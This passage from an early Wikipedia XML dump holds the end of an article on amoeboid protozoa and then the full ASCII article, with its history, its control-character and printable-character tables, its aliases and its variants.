Traditionally the amoeboid protozoa are grouped together as the Sarcodina, variously ranked from class to phylum, with each of the above categories as a formal subtaxon.  However, since they are all based on form rather than phylogeny, newer systems generally separate some out or abandon them entirely.  Most amoeboids are now included in two major supergroups - the [[Amoebozoa]], including most lobose amoebae and slime moulds, and the [[Rhizaria]], including the Cercozoa, Foraminifera, radiolarian classes and certain heliozoa.  However, amoeboids have appeared separately in many other groups, including various different lines of algae not listed above.

== External links ==

* [http://www.bms.ed.ac.uk/research/others/smaciver/amoebae.htm The Amoebae] website brings together information from published sources.
* [http://www.microscopy-uk.org.uk/mag/wimsmall/sundr.html Amoebas are more than just blobs]
* [http://www.microscopy-uk.org.uk/mag/indexmag.html?http://www.microscopy-uk.org.uk/mag/wimsmall/sundr.html sun animacules and amoebas]
[[Category:Protista]][[Category:Cell biology]][[Category:Amoeboids|*]][[Category:Motile cells]]
[[es:rizópodo]]
[[fr:Actinopoda]]
[[pl:Ameby]]</text>
    </revision>
  </page>
  <page>
    <title>ASCII</title>
    <id>586</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41964454</id>
      <timestamp>2006-03-02T22:42:35Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <comment>rv to Johnteslade</comment>
      <text xml:space="preserve">{{featured article}}
{{otheruses}}
[[Image:ascii_full.png|frame|There are 95 printable ASCII characters, numbered 32 to 126.]]
'''ASCII''' ('''''A'''merican '''S'''tandard '''C'''ode for '''I'''nformation '''I'''nterchange''), generally [[IPA for English|pronounced]] {{IPA|[&amp;#712;æski]}}, is a [[character encoding]] based on the [[English alphabet]]. ASCII codes represent [[character (computing)|text]] in [[computer]]s, [[telecommunications|communications]] equipment, and other devices that work with text. Most modern character encodings have a historical basis in ASCII.

ASCII was first published as a standard in 1967 and was last updated in 1986. It currently defines codes for 33 non-printing, mostly obsolete [[control character]]s that affect how text is processed, plus the following 95 printable characters (starting with the space character):

&lt;pre&gt;
 !&quot;#$%&amp;'()*+,-./0123456789:;&lt;=&gt;?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
`abcdefghijklmnopqrstuvwxyz{|}~
&lt;/pre&gt;

Asteroid [[3568 ASCII]] is named after the character encoding.

==Overview==
Like other character representation computer [[code]]s, ASCII specifies a correspondence between digital bit patterns and the symbols/[[glyph]]s of a written language, thus allowing [[digital]] devices to communicate with each other and to process, store, and communicate character-oriented information. The ASCII character encoding&lt;ref&gt;International Organization for Standardization ([[December 1]], [[1975]]). &quot;[http://www.itscj.ipsj.or.jp/ISO-IR/001.pdf The set of control characters for ISO 646]&quot;. ''Internet Assigned Numbers Authority Registry''. Alternate U.S. version: [http://www.itscj.ipsj.or.jp/ISO-IR/006.pdf]. Accessed [[August 7]], [[2005]].&lt;/ref&gt;&amp;nbsp;— or a compatible extension (see below)&amp;nbsp;— is used on nearly all common computers, especially [[personal computer]]s and [[workstation]]s. The preferred [[MIME]] name for this encoding is &quot;US-ASCII&quot;.&lt;ref&gt;Internet Assigned Numbers Authority ([[January 28]], [[2005]]). &quot;[http://www.iana.org/assignments/character-sets Character Sets]&quot;. Accessed [[August 7]], [[2005]].&lt;/ref&gt;

ASCII is, strictly, a seven-[[bit]] code, meaning that it uses the bit patterns representable with seven binary digits (a range of 0 to 127 decimal) to represent character information. At the time ASCII was introduced, many computers dealt with eight-bit groups ([[byte]]s or, more specifically, [[octet (computing)|octet]]s) as the smallest unit of information; the eighth bit was commonly used as a [[parity bit]] for error checking on communication lines or other device-specific functions. Machines which did not use parity typically set the eighth bit to zero, though some systems such as [[Prime computer|Prime]] machines running [[PRIMOS]] set the eighth bit of ASCII characters to one.

ASCII only defines a relationship between specific characters and bit sequences; aside from reserving a few control codes for line-oriented formatting, it does not define any mechanism for describing the structure or appearance of text within a document. Such concepts are within the realm of other systems such as the [[markup language]]s.

==History==
ASCII developed from [[Telegraphy|telegraphic codes]] and first entered commercial use as a seven-bit teleprinter code promoted by [[AT&amp;T|Bell]] data services. The [[Bell System]] had previously planned to use a six-bit code, derived from [[Fieldata]], that added punctuation and lower-case letters to the earlier five-bit [[Baudot code|Baudot]] teleprinter code, but was persuaded instead to join the [[American National Standards Institute|ASA]] subcommittee that had started to develop ASCII. Baudot helped in the automation of sending and receiving telegraphic messages, and took many features from [[Morse code]]; however, unlike Morse code, Baudot used constant-length codes. Compared to earlier telegraph codes, the proposed Bell code and ASCII both underwent re-ordering for more convenient sorting (especially alphabetization) of lists, and added features for devices other than teleprinters. [[Bob Bemer]] introduced features such as the '[[escape sequence]]'.

The American Standards Association (ASA, later to become [[American National Standards Institute|ANSI]]) first published ASCII as a standard in 1963. ASCII-1963 lacked the lowercase letters, and had an up-arrow (&amp;#8593;) instead of the caret (^) and a left-arrow (&amp;#8592;) instead of the underscore (_). The 1967 version added the lowercase letters, changed the names of a few control characters and moved the two controls ACK and ESC from the lowercase letters area into the control codes area.

ASCII was subsequently updated and published as ANSI X3.4-1968, ANSI X3.4-1977, and finally, ANSI X3.4-1986.

Other international standards bodies have ratified character encodings that are identical or nearly identical to ASCII. These encodings are sometimes referred to as ASCII, even though ASCII is strictly defined only by the ASA/ANSI standards:

* The [[European Computer Manufacturers Association]] published editions of its ASCII clone, ECMA-6, in 1965, 1967, 1970, 1973, 1983, and 1991. The 1991 edition is the same as ANSI X3.4-1986.&lt;ref&gt;ECMA International (December 1991). [http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-006.pdf Standard ECMA-6: 7-bit Coded Character Set, 6th edition.] Accessed [[December 17]], [[2005]].&lt;/ref&gt;
* The [[International Organization for Standardization]] published its version, ISO 646 (later [[ISO/IEC 646]]) in 1967, 1972, 1983, and 1991. ISO 646:1972, in particular, established a set of country-specific versions with punctuation characters replaced with non-English letters. ISO/IEC 646:1991 International Reference Version is the same as ANSI X3.4-1986.
* The [[International Telecommunication Union]] published its version of ANSI X3.4-1986, [[ITU Telecommunication Standardization Sector|ITU-T]] Recommendation T.50, in 1992. In the early 1970s, under the name CCITT, the same organization published a version as CCITT Recommendation V.3.
* [[DIN]] published a version of ASCII as DIN 66003 in 1974.
* The [[Internet Engineering Task Force|IETF]] published a version in 1969 as RFC 20, and established the Internet's standard version, based on ANSI X3.4-1986, with the publication of RFC 1345 in 1992.
* [[IBM]]'s version of ANSI X3.4-1986 is published in IBM technical literature as [[code page 367]].

ASCII has also become embedded in its probable replacement, [[Unicode]], as the 'lowest' 128 characters. Some observers consider ASCII the most &quot;successful&quot; software standard ever promulgated.

==ASCII control characters==
ASCII reserves the first 32 codes (numbers 0–31 decimal) for [[control character]]s: codes originally intended not to carry printable information, but rather to control devices (such as [[computer printer|printer]]s) that make use of ASCII. For example, character 10 represents the &quot;line feed&quot; function (which causes a printer to advance its paper), and character 27 represents the &quot;escape&quot; key often found in the top left corner of common [[Computer keyboard|keyboard]]s.

Code 127 (all seven bits on), another special character, equates to &quot;delete&quot; or &quot;rubout&quot;. Though its function resembles that of other control characters, the designers of ASCII used this pattern so that it could &quot;erase&quot; a section of [[punched tape|paper tape]] (a popular storage medium until the 1980s) by punching all possible holes at a particular character position, thus effectively replacing any previous information. Since Code 0 (null,all bits off) was also ignored it was possible to leave gaps and then make corrections by blanking characters before or after the gap and then entering new characters in the gap.

Many of the ASCII control codes serve (or served) to mark data packets, or to control a data transmission protocol (e.g. ENQuiry [effectively, &quot;any stations out there?&quot;], ACKnowledge, Negative AcKnowledge, Start Of Header, Start of TeXt, End of TeXt, etc). ESCape and SUBstitute permit a communications protocol to, for instance, mark binary data so that if it contains codes with the same pattern as a protocol character, the recipient will process the code as data.

The designers of ASCII intended the separator characters (&quot;Record Separator&quot;, etc.) for use with magnetic tape systems.

Two of the device control characters, commonly interpreted as [[XON]] and [[XOFF]], generally function as [[flow control]] characters to throttle data flow to a slow device (such as a printer) from a fast device (such as a computer) - so data does not overrun and get lost.

Early users of ASCII adopted some of the control codes to represent &quot;meta information&quot; such as end-of-line, start/end of a data element, and so on. These assignments often conflict, so part of the effort in converting data from one format to another involves making the correct meta information transformations. For example, the character(s) representing end-of-line (&quot;[[newline]]&quot;) in text data files/streams vary from [[operating system]] to operating system. When moving files from one system to another, the conversion process must recognize these characters as end-of-line markers and handle them appropriately.

Today, ASCII users use the control characters less and less—with the exception of &quot;carriage return&quot; and/or &quot;line feed&quot;.  Modern markup languages, modern communication protocols, the move from text-based to graphical devices, and the demise of teleprinters, punch-cards, and paper tapes have rendered most of the control characters obsolete.

{| class=&quot;wikitable&quot; style=&quot;text-align: center&quot;
|-
!style=&quot;width: 5.5em&quot;|Binary
!style=&quot;width: 2.5em&quot;|Oct
!style=&quot;width: 2.5em&quot;|Dec
!style=&quot;width: 2.5em&quot;|Hex
!style=&quot;width: 2.5em&quot;|Abbr
!style=&quot;width: 2.5em&quot;|PR{{ref 1}}
!style=&quot;width: 2.5em&quot;|CS{{ref 2}}
!Description
|-
|0000&amp;nbsp;0000
|000
|0
|00
|NUL
|&lt;big&gt;&amp;#9216;&lt;/big&gt;
|^@
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Null character]]
|-
|0000&amp;nbsp;0001
|001
|1
|01
|SOH
|&lt;big&gt;&amp;#9217;&lt;/big&gt;
|^A
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Start of Header
|-
|0000&amp;nbsp;0010
|002
|2
|02
|STX
|&lt;big&gt;&amp;#9218;&lt;/big&gt;
|^B
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Start of Text
|-
|0000&amp;nbsp;0011
|003
|3
|03
|ETX
|&lt;big&gt;&amp;#9219;&lt;/big&gt;
|^C
|style=&quot;text-align: left; margin-left: 0.2em&quot;|End of Text
|-
|0000&amp;nbsp;0100
|004
|4
|04
|EOT
|&lt;big&gt;&amp;#9220;&lt;/big&gt;
|^D
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[End-of-transmission character|End of Transmission]]
|-
|0000&amp;nbsp;0101
|005
|5
|05
|ENQ
|&lt;big&gt;&amp;#9221;&lt;/big&gt;
|^E
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Enquiry
|-
|0000&amp;nbsp;0110
|006
|6
|06
|ACK
|&lt;big&gt;&amp;#9222;&lt;/big&gt;
|^F
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Acknowledgment
|-
|0000&amp;nbsp;0111
|007
|7
|07
|BEL
|&lt;big&gt;&amp;#9223;&lt;/big&gt;
|^G
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Bell character|Bell]]
|-
|0000&amp;nbsp;1000
|010
|8
|08
|BS
|&lt;big&gt;&amp;#9224;&lt;/big&gt;
|^H
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Backspace]]{{ref 3}}{{ref 7}}
|-
|0000&amp;nbsp;1001
|011
|9
|09
|HT
|&lt;big&gt;&amp;#9225;&lt;/big&gt;
|^I
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Horizontal [[Tab]]
|-
|0000&amp;nbsp;1010
|012
|10
|0A
|LF
|&lt;big&gt;&amp;#9226;&lt;/big&gt;
|^J
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Line feed]]
|-
|0000&amp;nbsp;1011
|013
|11
|0B
|VT
|&lt;big&gt;&amp;#9227;&lt;/big&gt;
|^K
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Vertical Tab
|-
|0000&amp;nbsp;1100
|014
|12
|0C
|FF
|&lt;big&gt;&amp;#9228;&lt;/big&gt;
|^L
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Form feed]]
|-
|0000&amp;nbsp;1101
|015
|13
|0D
|CR
|&lt;big&gt;&amp;#9229;&lt;/big&gt;
|^M
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Carriage return]]{{ref 6}}
|-
|0000&amp;nbsp;1110
|016
|14
|0E
|SO
|&lt;big&gt;&amp;#9230;&lt;/big&gt;
|^N
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Shift Out and Shift In characters|Shift Out]]
|-
|0000&amp;nbsp;1111
|017
|15
|0F
|SI
|&lt;big&gt;&amp;#9231;&lt;/big&gt;
|^O
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Shift Out and Shift In characters|Shift In]]
|-
|0001&amp;nbsp;0000
|020
|16
|10
|DLE
|&lt;big&gt;&amp;#9232;&lt;/big&gt;
|^P
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Data Link Escape
|-
|0001&amp;nbsp;0001
|021
|17
|11
|DC1
|&lt;big&gt;&amp;#9233;&lt;/big&gt;
|^Q
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Device Control 1 (oft. XON)
|-
|0001&amp;nbsp;0010
|022
|18
|12
|DC2
|&lt;big&gt;&amp;#9234;&lt;/big&gt;
|^R
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Device Control 2
|-
|0001&amp;nbsp;0011
|023
|19
|13
|DC3
|&lt;big&gt;&amp;#9235;&lt;/big&gt;
|^S
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Device Control 3 (oft. XOFF)
|-
|0001&amp;nbsp;0100
|024
|20
|14
|DC4
|&lt;big&gt;&amp;#9236;&lt;/big&gt;
|^T
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Device Control 4
|-
|0001&amp;nbsp;0101
|025
|21
|15
|NAK
|&lt;big&gt;&amp;#9237;&lt;/big&gt;
|^U
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Negative-acknowledge character|Negative Acknowledgement]]
|-
|0001&amp;nbsp;0110
|026
|22
|16
|SYN
|&lt;big&gt;&amp;#9238;&lt;/big&gt;
|^V
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Synchronous Idle
|-
|0001&amp;nbsp;0111
|027
|23
|17
|ETB
|&lt;big&gt;&amp;#9239;&lt;/big&gt;
|^W
|style=&quot;text-align: left; margin-left: 0.2em&quot;|End of Trans. Block
|-
|0001&amp;nbsp;1000
|030
|24
|18
|CAN
|&lt;big&gt;&amp;#9240;&lt;/big&gt;
|^X
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Cancel character|Cancel]]
|-
|0001&amp;nbsp;1001
|031
|25
|19
|EM
|&lt;big&gt;&amp;#9241;&lt;/big&gt;
|^Y
|style=&quot;text-align: left; margin-left: 0.2em&quot;|End of Medium
|-
|0001&amp;nbsp;1010
|032
|26
|1A
|SUB
|&lt;big&gt;&amp;#9242;&lt;/big&gt;
|^Z
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Substitute
|-
|0001&amp;nbsp;1011
|033
|27
|1B
|ESC
|&lt;big&gt;&amp;#9243;&lt;/big&gt;
|^&lt;nowiki&gt;[&lt;/nowiki&gt;
|style=&quot;text-align: left; margin-left: 0.2em&quot;|[[Escape character|Escape]]{{ref 5}}
|-
|0001&amp;nbsp;1100
|034
|28
|1C
|FS
|&lt;big&gt;&amp;#9244;&lt;/big&gt;
|^\
|style=&quot;text-align: left; margin-left: 0.2em&quot;|File Separator
|-
|0001&amp;nbsp;1101
|035
|29
|1D
|GS
|&lt;big&gt;&amp;#9245;&lt;/big&gt;
|^&lt;nowiki&gt;]&lt;/nowiki&gt;
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Group Separator
|-
|0001&amp;nbsp;1110
|036
|30
|1E
|RS
|&lt;big&gt;&amp;#9246;&lt;/big&gt;
|^^
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Record Separator
|-
|0001&amp;nbsp;1111
|037
|31
|1F
|US
|&lt;big&gt;&amp;#9247;&lt;/big&gt;
|^_
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Unit Separator
|-
|0111&amp;nbsp;1111
|177
|127
|7F
|DEL
|&lt;big&gt;&amp;#9249;&lt;/big&gt;
|^?
|style=&quot;text-align: left; margin-left: 0.2em&quot;|Delete{{ref 4}}{{ref 7}}
|}

# Printable Representation, the [[Unicode]] glyphs reserved for representing control characters when it is necessary to print or display them rather than have them perform their intended function.
# Control key Sequence, the traditional key sequences for inputting control characters.  The caret (^) represents the &quot;Control&quot; or &quot;Ctrl&quot; key that must be held down while pressing the second key in the sequence.  The caret-key representation is also used by some software to represent control characters.
# The Backspace character can also be entered by pressing the &quot;Backspace&quot;, &quot;Bksp&quot;, or ← key on some systems.
# The Delete character can also be entered by pressing the &quot;Delete&quot; or &quot;Del&quot; key.  It can also be entered by pressing the &quot;Backspace&quot;, &quot;Bksp&quot;, or ← key on some systems.
# The Escape character can also be entered by pressing the &quot;Escape&quot; or &quot;Esc&quot; key on some systems.
# The Carriage Return character can also be entered by pressing the &quot;Return&quot;, &quot;Ret&quot;, &quot;Enter&quot;, or ↵ key on most systems.
# The ambiguity surrounding the Backspace key comes from systems that translated the DEL control character into a BS (backspace) before transmitting it.  Some software was unable to process the character and would display &quot;^H&quot; instead.  &quot;^H&quot; persists in messages today as a deliberate humorous device, e.g. [[there's a sucker born every minute|&quot;there's a sucker^H^H^H^H^H^Hpotential customer born every minute&quot;]].  A less common variant of this involves the use of &quot;^W&quot;, which in some [[text editor|text editors]] means &quot;delete previous word&quot;. The example sentence would therefore also work as &quot;there's a sucker^W potential customer born every minute&quot;.

==ASCII printable characters==
Code 32, the [[Space (punctuation)|&quot;space&quot; character]], denotes the space between words, as produced by the large space-bar of a keyboard. Codes 33 to 126, known as the printable characters, represent letters, digits, punctuation marks, and a few miscellaneous symbols.

Seven-bit ASCII provided seven &quot;national&quot; characters and, if the combined hardware and software permit, can use overstrikes to simulate some additional international characters: in such a scenario a backspace can precede a [[grave accent]] (which the American and British standards, but only those standards, also call &quot;opening single quotation mark&quot;), a [[tilde]], or a breath mark (inverted [[vel]]).

{| 
|- valign=&quot;top&quot;
|
{| class=&quot;wikitable&quot; style=&quot;text-align: center&quot;
|- 
!style=&quot;width: 5.5em&quot;|Binary
!style=&quot;width: 2.5em&quot;|Dec
!style=&quot;width: 2.5em&quot;|Hex
!Glyph
|-
|0010&amp;nbsp;0000
|32
|20
|[[Space (punctuation)|(blank)]] (&amp;#9248;)
|-
|0010&amp;nbsp;0001
|33
|21
|[[Exclamation mark|!]]
|-
|0010&amp;nbsp;0010
|34
|22
|&quot;
|-
|0010&amp;nbsp;0011
|35
|23
|[[Number sign|#]]
|-
|0010&amp;nbsp;0100
|36
|24
|[[Dollar sign|$]]
|-
|0010&amp;nbsp;0101
|37
|25
|[[Percent sign|%]]
|-
|0010&amp;nbsp;0110
|38
|26
|[[Ampersand|&amp;]]
|-
|0010&amp;nbsp;0111
|39
|27
|[[Apostrophe (punctuation)|']]
|-
|0010&amp;nbsp;1000
|40
|28
|[[Bracket|(]]
|-
|0010&amp;nbsp;1001
|41
|29
|[[Bracket|)]]
|-
|0010&amp;nbsp;1010
|42
|2A
|[[Asterisk|*]]
|-
|0010&amp;nbsp;1011
|43
|2B
|[[Plus sign|+]]
|-
|0010&amp;nbsp;1100
|44
|2C
|[[Comma (punctuation)|,]]
|-
|0010&amp;nbsp;1101
|45
|2D
|[[Hyphen|-]]
|-
|0010&amp;nbsp;1110
|46
|2E
|[[Full stop|.]]
|-
|0010&amp;nbsp;1111
|47
|2F
|[[Slash (punctuation)|/]]
|-
|0011&amp;nbsp;0000
|48
|30
|0
|-
|0011&amp;nbsp;0001
|49
|31
|1
|-
|0011&amp;nbsp;0010
|50
|32
|2
|-
|0011&amp;nbsp;0011
|51
|33
|3
|-
|0011&amp;nbsp;0100
|52
|34
|4
|-
|0011&amp;nbsp;0101
|53
|35
|5
|-
|0011&amp;nbsp;0110
|54
|36
|6
|-
|0011&amp;nbsp;0111
|55
|37
|7
|-
|0011&amp;nbsp;1000
|56
|38
|8
|-
|0011&amp;nbsp;1001
|57
|39
|9
|-
|0011&amp;nbsp;1010
|58
|3A
|[[Colon (punctuation)|:]]
|-
|0011&amp;nbsp;1011
|59
|3B
|[[Semicolon|;]]
|-
|0011&amp;nbsp;1100
|60
|3C
|[[Less than sign|&lt;]]
|-
|0011&amp;nbsp;1101
|61
|3D
|[[Equals sign|=]]
|-
|0011&amp;nbsp;1110
|62
|3E
|[[Greater than sign|&gt;]]
|-
|0011&amp;nbsp;1111
|63
|3F
|[[Question mark|?]]
|}
|&amp;nbsp;
|
{| class=&quot;wikitable&quot; style=&quot;text-align: center&quot;
|- valign=&quot;bottom&quot;
!style=&quot;width: 5.5em&quot;|Bin
!style=&quot;width: 2.5em&quot;|Dec
!style=&quot;width: 2.5em&quot;|Hex
!Glyph
|-
|0100&amp;nbsp;0000
|64
|40
|[[@]]
|-
|0100&amp;nbsp;0001
|65
|41
|A
|-
|0100&amp;nbsp;0010
|66
|42
|B
|-
|0100&amp;nbsp;0011
|67
|43
|C
|-
|0100&amp;nbsp;0100
|68
|44
|D
|-
|0100&amp;nbsp;0101
|69
|45
|E
|-
|0100&amp;nbsp;0110
|70
|46
|F
|-
|0100&amp;nbsp;0111
|71
|47
|G
|-
|0100&amp;nbsp;1000
|72
|48
|H
|-
|0100&amp;nbsp;1001
|73
|49
|I
|-
|0100&amp;nbsp;1010
|74
|4A
|J
|-
|0100&amp;nbsp;1011
|75
|4B
|K
|-
|0100&amp;nbsp;1100
|76
|4C
|L
|-
|0100&amp;nbsp;1101
|77
|4D
|M
|-
|0100&amp;nbsp;1110
|78
|4E
|N
|-
|0100&amp;nbsp;1111
|79
|4F
|O
|-
|0101&amp;nbsp;0000
|80
|50
|P
|-
|0101&amp;nbsp;0001
|81
|51
|Q
|-
|0101&amp;nbsp;0010
|82
|52
|R
|-
|0101&amp;nbsp;0011
|83
|53
|S
|-
|0101&amp;nbsp;0100
|84
|54
|T
|-
|0101&amp;nbsp;0101
|85
|55
|U
|-
|0101&amp;nbsp;0110
|86
|56
|V
|-
|0101&amp;nbsp;0111
|87
|57
|W
|-
|0101&amp;nbsp;1000
|88
|58
|X
|-
|0101&amp;nbsp;1001
|89
|59
|Y
|-
|0101&amp;nbsp;1010
|90
|5A
|Z
|-
|0101&amp;nbsp;1011
|91
|5B
|[[Bracket|&lt;nowiki&gt;[&lt;/nowiki&gt;]]
|-
|0101&amp;nbsp;1100
|92
|5C
|[[Backslash|\]]
|-
|0101&amp;nbsp;1101
|93
|5D
|[[Bracket|&lt;nowiki&gt;]&lt;/nowiki&gt;]]
|-
|0101&amp;nbsp;1110
|94
|5E
|[[Caret|^]]
|-
|0101&amp;nbsp;1111
|95
|5F
|[[Underscore|_]]
|}
|&amp;nbsp;
|
{| class=&quot;wikitable&quot; style=&quot;text-align: center&quot;
|- valign=&quot;bottom&quot;
!style=&quot;width: 5.5em&quot;|Bin
!style=&quot;width: 2.5em&quot;|Dec
!style=&quot;width: 2.5em&quot;|Hex
!Glyph
|-
|0110&amp;nbsp;0000
|96
|60
|[[Grave accent|`]]
|-
|0110&amp;nbsp;0001
|97
|61
|a
|-
|0110&amp;nbsp;0010
|98
|62
|b
|-
|0110&amp;nbsp;0011
|99
|63
|c
|-
|0110&amp;nbsp;0100
|100
|64
|d
|-
|0110&amp;nbsp;0101
|101
|65
|e
|-
|0110&amp;nbsp;0110
|102
|66
|f
|-
|0110&amp;nbsp;0111
|103
|67
|g
|-
|0110&amp;nbsp;1000
|104
|68
|h
|-
|0110&amp;nbsp;1001
|105
|69
|i
|-
|0110&amp;nbsp;1010
|106
|6A
|j
|-
|0110&amp;nbsp;1011
|107
|6B
|k
|-
|0110&amp;nbsp;1100
|108
|6C
|l
|-
|0110&amp;nbsp;1101
|109
|6D
|m
|-
|0110&amp;nbsp;1110
|110
|6E
|n
|-
|0110&amp;nbsp;1111
|111
|6F
|o
|-
|0111&amp;nbsp;0000
|112
|70
|p
|-
|0111&amp;nbsp;0001
|113
|71
|q
|-
|0111&amp;nbsp;0010
|114
|72
|r
|-
|0111&amp;nbsp;0011
|115
|73
|s
|-
|0111&amp;nbsp;0100
|116
|74
|t
|-
|0111&amp;nbsp;0101
|117
|75
|u
|-
|0111&amp;nbsp;0110
|118
|76
|v
|-
|0111&amp;nbsp;0111
|119
|77
|w
|-
|0111&amp;nbsp;1000
|120
|78
|x
|-
|0111&amp;nbsp;1001
|121
|79
|y
|-
|0111&amp;nbsp;1010
|122
|7A
|z
|-
|0111&amp;nbsp;1011
|123
|7B
|[[Bracket|&lt;nowiki&gt;{&lt;/nowiki&gt;]]
|-
|0111&amp;nbsp;1100
|124
|7C
|[[Vertical bar|&amp;#124;]]
|-
|0111&amp;nbsp;1101
|125
|7D
|[[Bracket|&lt;nowiki&gt;}&lt;/nowiki&gt;]]
|-
|0111&amp;nbsp;1110
|126
|7E
|[[Tilde|~]]
|}
|}

==Structural features==
* The digits 0-9 are represented with their values in binary prefixed with 0011 (this means that [[Binary-coded decimal|bcd]]-ASCII is simply a matter of taking each bcd nibble separately and prefixing 0011 to it.
* Lowercase and uppercase letters only differ in bit pattern by a single bit simplifying case conversion to a range test (to avoid converting characters that are not letters) and a single [[bitwise operation]].

==Aliases for ASCII==
RFC 1345 (published in June 1992) and the [http://www.iana.org/assignments/character-sets IANA registry of character sets] (ongoing), both recognize the following case-insensitive aliases for ASCII as suitable for use on the Internet:

* ANSI_X3.4-1968 (canonical name)
* ANSI_X3.4-1986
* ASCII
* US-ASCII (preferred MIME name)
* us
* ISO646-US
* ISO_646.irv:1991
* iso-ir-6
* IBM367
* cp367
* csASCII

Of these, only the aliases &quot;US-ASCII&quot; and &quot;ASCII&quot; have achieved widespread use. One often finds them in the optional &quot;charset&quot; parameter in the Content-Type header of some [[MIME]] messages, in the equivalent &quot;meta&quot; element of some [[HTML]] documents, and in the encoding declaration part of the prolog of some [[XML]] documents.

==Variants of ASCII==
As computer technology spread throughout the world, different standards bodies and corporations developed many variations of ASCII in order to facilitate the expression of non-English languages that used Roman-based alphabets. One could class some of these variations as &quot;ASCII [[Extended ASCII|extensions]]&quot;, although some mis-apply that term to cover all variants, including those that do not preserve ASCII's character-map in the 7-bit range.

[[ISO 646]] (1972), the first attempt to remedy the pro-English-language bias, created compatibility problems, since it remained a 7-bit character-set. It made no additional codes available, so it reassigned some in language-specific variants. It thus became impossible to know what character a code represented without knowing which variant to work with, and text-processing systems could generally cope with only one variant anyway.

Eventually, improved technology brought out-of-band means to represent the information formerly encoded in the eighth bit of each byte, freeing this bit to add another 128 additional character-codes for new assignments. For example, [[IBM]] developed 8-bit [[code page]]s, such as [[code page 437]], which replaced the control-characters with graphic symbols such as [[smiley]] faces, and mapped additional graphic characters to the upper 128 bytes. Operating systems such as [[DOS]] supported these code-pages, and manufacturers of [[IBM PC]]s supported them in hardware.

Eight-bit standards such as [[ISO 8859|ISO/IEC 8859]] and [[Mac OS Roman]] developed as true extensions of ASCII, leaving the original character-mapping intact and just adding additional values above the 7-bit range. This enabled the representation of a broader range of languages, but these standards continued to suffer from incompatibilities and limitations. Still, [[ISO-8859-1]] its variant [[Windows-1252]] (often mislabeled as ISO-8859-1) and original 7-bit ASCII remain the most common character encodings in use today.

[[Unicode]] and the ISO/IEC 10646 [[Universal Character Set]] (UCS) have a much wider array of characters, and their various encoding forms have begun to supplant ISO/IEC 8859 and ASCII rapidly in many environments. While ASCII basically uses 7-bit codes, Unicode and the UCS use relatively abstract &quot;code points&quot;: non-negative integer numbers that map, using different encoding forms and schemes, to sequences of one or more 8-bit bytes. To permit backward compatibility, Unicode and the UCS assign the first 128 code points to the same characters as ASCII. One can therefore think of ASCII as a 7-bit encoding scheme for a very small subset of Unicode and of the UCS. The popular [[UTF-8]] encoding-form prescribes the use of one to four 8-bit code values for each code point character, and equates exactly to ASCII for the code values below 128. Other encoding forms such as [[UTF-16]] resemble ASCII in how they represent the first 128 characters of Unicode, but tend to use 16 or 32 bits per character, so they require conversion for compatibility.

The [[blend (linguistics)|blend]] word ''ASCIIbetical'' has evolved to describe the [[collation]] of data in ASCII-code order rather than &quot;standard&quot; alphabetical order.&lt;ref&gt;Jargon File. [http://www.catb.org/~esr/jargon/html/A/ASCIIbetical-order.html ASCIIbetical]. Accessed [[December 17]], [[2005]].&lt;/ref&gt;

The abbreviation ASCIIZ or ASCIZ refers to a [[Character string (computer science)|null-terminated ASCII string]].

==See also==
*[[American National Standards Institute|ANSI]]
*[[ASCII art]]
*[[ASCII game]]s
*[[Text file]]
*[[Bob Bemer]]
*[[EBCDIC]]
*[[Unicode]]
*[[ASCII ribbon]]
===ASCII extensions===
(where all ASCII printable characters are identical to ASCII)
*[[Extended ASCII]]
*[[UTF-8]]
*[[ISO 8859]]
*[[ISCII]]
*[[VISCII]]
*[[Windows code pages]]
===ASCII variants===
(where some ASCII printable characters have been replaced)
*[[ISO 646]]
*[[ATASCII]]
*[[PETSCII]]
*[[ZX Spectrum character set]]

==References==
===For specific points===
&lt;references/&gt;

===General===
*[http://www.unicode.org/charts/PDF/U0000.pdf Unicode.org chart on the ASCII range]
* Tom Jennings ([[October 29]] [[2004]]). [http://www.wps.com/projects/codes/index.html Annotated History of Character Codes.] Accessed [[December 17]] [[2005]].
*[[Alt codes]]

==External links==
&lt;!--*[http://quickkeydotnet.sourceforge.net/ Quick Key Character Grid], a [[FOSS]] [[Application software|Application]] for [[Microsoft Windows]] inserts any character with one click. &gt;&gt;&gt; not relevant to this page [[User:Chris_Chittleborough]], [[8 February]] [[2006]] --&gt;
*[http://www.speech.cs.cmu.edu/~sburke/stuff/pronunciation-guide.txt A pronunciation guide for ASCII characters] &lt;!--good info but i'd like something more authoritive than a random personal website if at all possible [[User:Plugwash|Plugwash]] 23:14, [[25 December]] [[2005]] (UTC)--&gt;
